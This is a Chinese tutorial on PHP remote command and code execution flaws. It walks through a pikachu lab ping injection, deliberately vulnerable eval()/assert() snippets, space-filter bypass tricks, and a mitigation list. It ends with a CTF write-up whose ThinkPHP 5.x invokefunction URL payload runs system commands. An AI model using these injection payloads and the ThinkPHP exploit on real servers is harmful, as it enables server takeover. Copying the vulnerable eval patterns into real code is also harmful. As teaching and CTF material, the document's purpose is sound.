RCE介绍
全称:remote command/code execute分为远程命令执行和远程代码执行
命令执行漏洞: 直接调用操作系统命令
代码执行漏洞: 靠执行脚本代码调用操作系统命令
在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
pikachu靶场演示
在输入框输入一个IP
该靶场模块是实现一个ping的功能 也就是说输入的东西会被其在cmd中执行可控参数+漏洞函数 构成了出现漏洞的前提条件
在框内输入127.0.0.1 | dir(管道符(|) 的作用是将符号前的进程输出,当做符号后进程的输入。可用于两条命令同时执行) 会发现返回的结果中执行了dir命令
代码执行漏洞
漏洞介绍
PHP代码执行漏洞可以将代码注入到应用中,最终到webserver去执行。该漏洞主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。
代码执行原理
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、assert、shell_exec、passthru、popen、proc_popen
escapeshellcmd、pcntl_exec等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行漏洞。
代码执行漏洞危害
执行任意代码
向网站写WebShell
控制整个网站甚至服务器
函数介绍
eval()
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
<?php
$code=$_GET['x'];
eval($code);
?>
假设对方存在这样的一个代码执行漏洞 就可以用代码去攻击它
通过evel去上传一个webshell,然后去控制它
http://127.0.0.1/rec.php?x=phpinfo();
assert()
普通调用
#127.0.0.1//?a=phpinfo()
<?php assert($_POST['a']);?>
动态调用-------php官方在php7中更改了 assert 函数。在php7.0.29之后的版本不支持动态调用。
#127.0.0.1//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?
preg_replace函数
此函数的作用是对一个字符串进行正则处理,PHP中用来执行正则表达式的匹配以及替换的函数。可以返回一个正则表达式转换后的值
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
参数说明
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数。
#删除空格字符
<?php
$str = 'runo o b';
$str = preg_replace('/\s+/', '', $str);
// 将会改变为'runoob'
echo $str;
?>
#将 google 替换为 runoob
<?php
$string = 'google 123, 456';
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = 'runoob ${2},$3';
echo preg_replace($pattern, $replacement, $string);
?>
代码执行漏洞防御
1:尽量少用执行命令的函数或者直接禁用`
2:参数值尽量使用引号包括
3:在使用动态函数之前,确保使用的函数是指定的函数之一
4:在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
5:能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用
6:对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤
7:参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。
8:对于eval( )函数一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。
9:对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。
命令执行漏洞
漏洞介绍
用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许使用者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码
原理:在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令
系统命令执行函数介绍
System
system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:
system(command,return_var)
其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。
exec
exec函数可以用来执行一个外部的应用程序
exec (command, output, return_var)
其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值
Passthru
passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:
passthru (command, return_var
其中,command是要执行的命令,return_var存放执行命令后的状态值。
Shell_exec
执行shell命令并返回输出的字符串,函数原型如下:
shell_exec (command)
其中,command是要执行的命令。
#常见
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
windows系统命令拼接
“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
绕过空格
$IFS$1 //$1改成$加其他数字都行,都能当作空格来用
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
一段代码带来的思考
eval(echo `$_REQUEST['a']`);
如果这里出现RCE 是要执行Linux系统命令还是php命令呢?
因为echo的存在 所以直接给a传linux命令就可以了 真实环境中需要具体分析
CTF典型例题
攻防世界web rce 地址:http://111.200.241.244:64803/
没有思路直接搜 ThinkPHP V5漏洞:ThinkPHP5框架底层对控制器名过滤不严,可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。
1.根据主页提示,可以发现网页使用的是ThinkPHP框架,版本为5.1
2.此版本存在getshell漏洞(百度一下poc一抓一大把)
3.查找flag
http://111.200.241.244:64803/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag